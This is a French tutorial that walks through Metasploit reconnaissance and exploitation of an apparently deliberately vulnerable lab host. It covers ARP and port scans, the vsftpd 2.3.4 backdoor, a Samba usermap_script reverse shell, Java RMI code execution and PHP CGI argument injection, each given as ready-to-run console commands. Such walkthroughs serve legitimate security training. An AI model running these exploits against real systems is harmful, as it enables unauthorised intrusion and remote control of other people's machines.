Le Metsaploit Framework (MSF) constitue un écosystème modulaire essentiel pour les tests d'intrusion. Il permet d'automatiser la phase de découverte, d'exploitation et de post-exploitation. Cette analyse technique documente les méthodes d'identification de services et l'exploitation de failles spécifiques sur une cible vulnérable.
Étape 1 : Reconnaissance et collecte d'informations
Avant toute tentative d'intrusion, il est crucial de cartographier le réseau et d'identifier les vecteurs d'attaque potentiels.
Découverte d'hôtes via ARP
L'utilisation du module arp_sweep permet d'identifier les machines actives sur un segment réseau local sans générer un trafic TCP excessif.
msfconsole
use auxiliary/scanner/discovery/arp_sweep
set RHOSTS 172.16.219.0/24
set THREADS 10
run
Analyse des ports et détection de services
Une fois l'hôte cible identifié (par exemple 172.16.219.194), un scan Nmap approfondi permet de déterminer le système d'exploitation et les versions des services en écoute.
nmap -sV -O 172.16.219.194
Alternativement, Metasploit propose des modules de scan TCP intégrés :
use auxiliary/scanner/portscan/tcp
set RHOSTS 172.16.219.194
set PORTS 1-1024
run
Étape 2 : Exploitation de la porte dérobée vsftpd 2.3.4
La version 2.3.4 du démon vsftpd contient une "backdoor" célèbre. Si un utilisateur se connecte avec un identifiant se terminant par les caractères :), le serveur ouvre un shell root sur le port 6200.
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 172.16.219.194
exploit
Après l'obtention du shell, les commandes suivantes permettent de confirmer l'accès :
whoami
id
uname -a
Étape 3 : Injection de commande via Samba (Usermap Script)
Cette vulnérabilité réside dans la configuration username map script de Samba. Elle permet l'exécution de commandes arbitraires via des méta-caractères shell dans le nom d'utilisateur lors du processus d'authentification MS-RPC.
use exploit/multi/samba/usermap_script
set RHOSTS 172.16.219.194
set PAYLOAD cmd/unix/reverse
set LHOST [VOTRE_IP_KALI]
exploit
Étape 4 : Exploitation du serveur Java RMI
Le registre RMI (Remote Method Invocation) de Java, lorsqu'il est configuré par défaut, peut autoriser le chargement de classes distantes, menant à une exécution de code à distance (RCE).
use exploit/multi/misc/java_rmi_server
set RHOSTS 172.16.219.194
run
Une fois la session établie, il est possible d'interagir avec le système via Meterpreter ou un shell classique :
sessions -i 1
shell
Étape 5 : Injection d'arguments PHP CGI
Lorsqu'il est configuré en mode CGI, PHP peut être vulnérable à l'injection de paramètres de ligne de commande via la chaîne de requête (query string). Cela permet de forcer l'exécution de code spécifique sur le serveur web.
use exploit/multi/http/php_cgi_arg_injection
set RHOSTS 172.16.219.194
set TARGETURI /index.php
exploit
L'accès réussi donne généralement les privilèges de l'utilisateur faisant tourner le service web (ex: www-data), nécessitant ensuite une escalade de privilèges.